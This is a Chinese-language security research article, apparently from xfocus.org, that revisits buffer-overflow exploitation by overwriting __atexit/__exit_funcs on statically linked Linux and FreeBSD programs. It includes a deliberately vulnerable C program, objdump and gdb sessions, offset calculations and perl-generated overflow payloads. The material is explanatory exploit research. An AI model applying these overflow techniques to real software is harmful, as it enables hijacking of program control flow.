当前位置:Linux教程 - Linux - 通过覆盖__atexit进行缓冲区溢出攻击的补充

通过覆盖__atexit进行缓冲区溢出攻击的补充

原创:alert7(alert7)
来源:http://www.xfocus.org

通过覆盖__atexit进行缓冲区溢出攻击的补充
整理:alert7
mail:alert7@21cn.com
主页: http://www.xfocus.org

前言:
如果您看过《通过覆盖__atexit进行缓冲区溢出攻击》,请一定继续看把
这篇文章看完,因为.....

内容细节:
今天又重温了一遍warning3翻译整理的《通过覆盖.dtors进行缓冲区溢出攻击》
把他上面那个bleh.c试着用静态编译做了一道。
[alert7 @ww alert7 ]$ cat bleh.c
#include <stdlib.h>
#include <sys/types.h>
static void bleh(void);
int
main(int argc, char *argv[])
{
static u_char buf[] = "bleh";
if (argc < 2)
exit(EXIT_FAILURE);
strcpy(buf, argv[1]);
exit(EXIT_SUCCESS);
}
void
bleh(void)
{
printf("goffio! ");
}

[alert7 @ww alert7 ]$ gcc -o bleh bleh.c -static
[alert7 @ww alert7 ]$ objdump -s -j .dtors bleh
bleh: file format elf32-i386
Contents of section .dtors:
8078d08 ffffffff 00000000
确定.dtors中的析构函数的地址为0x08078d08+4

[alert7 @ww alert7 ]$ objdump --syms bleh | egrep ''text.*bleh''
080481d8 l F .text 00000012 bleh
bleh函数的地址为0x080481d8

[alert7 @ww alert7 ]$ objdump -s -j .dtors -j .data bleh|grep bleh
bleh: file format elf32-i386
80777a0 00000000 0c8d0708 00000000 626c6568 ............bleh
字符串bleh的地址为0x80777a0+12

所以A的个数为:0x08078d08+4-(0x80777a0+12)=0x1560=5472

好象一切还挺顺利的,看看攻击能不能成功。
[alert7 @ww alert7 ]$ ./bleh ``perl -e ''print "A" x 5472; print "xd8x81x04x08";''``
Segmentation fault (core dumped)

为什么会这样,还是看看core哪个地方出错了。
[alert7 @ww alert7 ]$ gdb -q bleh core
Core was generated by ``./bleh

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA''.
Program terminated with signal 11, Segmentation fault.
#0 0x80482a6 in exit (status=0) at exit.c:42
exit.c:42: No such file or directory.
(gdb) bt
#0 0x80482a6 in exit (status=0) at exit.c:42
#1 0x80481d0 in main ()
#2 0x804827d in __libc_start_main (main=0x80481a0 <main>, argc=2,
argv=0xbfffe8a4, init=0x80480b4 <_init>, fini=0x806f2ec <_fini>,
rtld_fini=0, stack_end=0xbfffe89c) at ../sysdeps/generic/libc-start.c:78
原来是在exit函数里面出错的,是否会联想到在《通过覆盖__atexit进行缓冲区溢出攻击》
讲到的因为覆盖了__atexit变量使exit函数导致段错误的情况呢。let''s go,看我们来看看。

[alert7 @ww alert7 ]$ gdb bleh -q
(gdb) b exit
Breakpoint 1 at 0x8048298: file exit.c, line 40.
(gdb) r
Starting program: /home/alert7 /bleh

Breakpoint 1, exit (status=1) at exit.c:40
exit.c:40: No such file or directory.
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0x80777e0

我们来把这几个地址按小到大排列一下
字符串bleh的地址为 0x080777ac
__exit_funcs的地址为 0x080777e0
dtors中的析构函数的地址为 0x08078d0c

减少A的个数,使之够可以覆盖到__exit_funcs的地址就可以了。
字符串bleh的地址和__exit_funcs的地址相差为52个字节。

[alert7 @ww alert7 ]$ ./bleh ``perl -e ''print "A" x 48; print "xd8x81x04x08";''``
一切正常,因为还没有覆盖到。
[alert7 @ww alert7 ]$ ./bleh ``perl -e ''print "A" x 49; print "xd8x81x04x08";''``
Segmentation fault (core dumped)
覆盖到了一个字节,我们来看看。
[alert7 @ww alert7 ]$ gdb -q bleh
(gdb) b exit
Breakpoint 1 at 0x8048298: file exit.c, line 40.
(gdb) r ``perl -e ''print "A" x 49; print "xd8x81x04x08";''``
Starting program: /home/alert7 /bleh ``perl -e ''print "A" x 49; print "xd8x81x04x08";''``

Breakpoint 1, exit (status=0) at exit.c:40
exit.c:40: No such file or directory.
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0x80777e0
(gdb) x/8x 0x80777e0
0x80777e0 <fnlist>: 0x00000008 0x00000001 0x00000003 0x0806f2ec
0x80777f0 <fnlist+16>: 0x00000000 0x00000000 0x00000000 0x00000000

构造了如上的atexit结构(该结构请参考《通过覆盖__atexit进行缓冲区溢出攻击》)

for (p = __atexit; p; p = p->next)
for (n = p->ind; --n >= 0;)
(*p->fns[n])();
下一个atexit结构的地址就是0x00000008,该地址为不可访问地址,所以导致了段错误。

这也说明一个问题,atexit()注册的函数先于dtors中的析构函数执行。

以上的测试都是在linux上进行的,所以在LINUX上通过覆盖__atexit进行缓冲区溢出攻击,
还是有可能的,方法跟在freebsd上的相同。请参考那篇文章。在《通过覆盖__atexit进
行缓冲区溢出攻击》中,我很冒失的说了句“这种攻击在LINUX好象是不可能的吧”,
为此感到惭愧。

不致使您也重蹈覆辙,来看看下面的这个演示小程序:
在linux上
[alert7 @ww alert7 ]$ cat test.c
#include <stdio.h>
extern void * __exit_funcs;
int main(void)
{
static char buf1[2];
static char buf[] = "bleh";
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__exit_funcs at %p ", __exit_funcs);
printf("malloced at %p ", mabuf);
printf("static at %p ", &scbuf);
printf("auto val at %p ", &mabuf);
printf("static buf[]="bleh" at %p ",&buf);
printf("static buf1 at %p ", &buf1);
return 0;
}
[alert7 @ww alert7 ]$ gcc -o test test.c -static -g
[alert7 @ww alert7 ]$ ./test
__exit_funcs at 0x80779a0
malloced at 0x8079c40
static at 0x8078f20
auto val at 0xbffffdc0
static buf[]="bleh" at 0x807796c
static buf1 at 0x8078f00

把他们从小到大排列一下
static buf[]="bleh" at 0x807796c
__exit_funcs at 0x80779a0
static buf1 at 0x8078f00
static at 0x8078f20
malloced at 0x8079c40
auto val at 0xbffffdc0

在freebsd上
bash-2.05$ cat test.c
#include <stdio.h>
extern void * __atexit;
int main(void)
{
static char buf1[2];
static char buf[] = "bleh";
static char scbuf[128];
char *mabuf;
mabuf = (char *) malloc(128);
printf("__atexit at %p ", __atexit);
printf("malloced at %p ", mabuf);
printf("static at %p ", &scbuf);
printf("auto val at %p ", &mabuf);
printf("static buf[]="bleh" at %p ",&buf);
printf("static buf1 at %p ", &buf1);
return 0;
}
bash-2.05$ gcc -o test test.c -static -g
bash-2.05$ ./test
__atexit at 0x8053060
malloced at 0x8055000
static at 0x8052fe0
auto val at 0xbfbffbec
static buf[]="bleh" at 0x805204c
static buf1 at 0x8052fc0

把他们从小到大排列一下
static buf[]="bleh" at 0x805204c
static buf1 at 0x8052fc0
static at 0x8052fe0
__atexit at 0x8053060
malloced at 0x8055000
auto val at 0xbfbffbec

好了,你也看到了
static char buf[] = "bleh"这样定义,buf地址就会比__exit_funcs小,
就有可能覆盖到__exit_funcs 。

总结:
通过覆盖__atexit进行缓冲区溢出攻击的确不失为一种好的方法,好的
思路,但真正实施起来普遍性不强。因为有问题的程序需要满足如下两个
条件:
1:需要用静态编译。
2:需要类似这样定义变量static char buf[] = "bleh",
使变量的地址小于__exit_funcs或者(freebsd上__atexit)。

这两个要求都是比较苛刻的,一般情况下或许找不到这样的问题程序。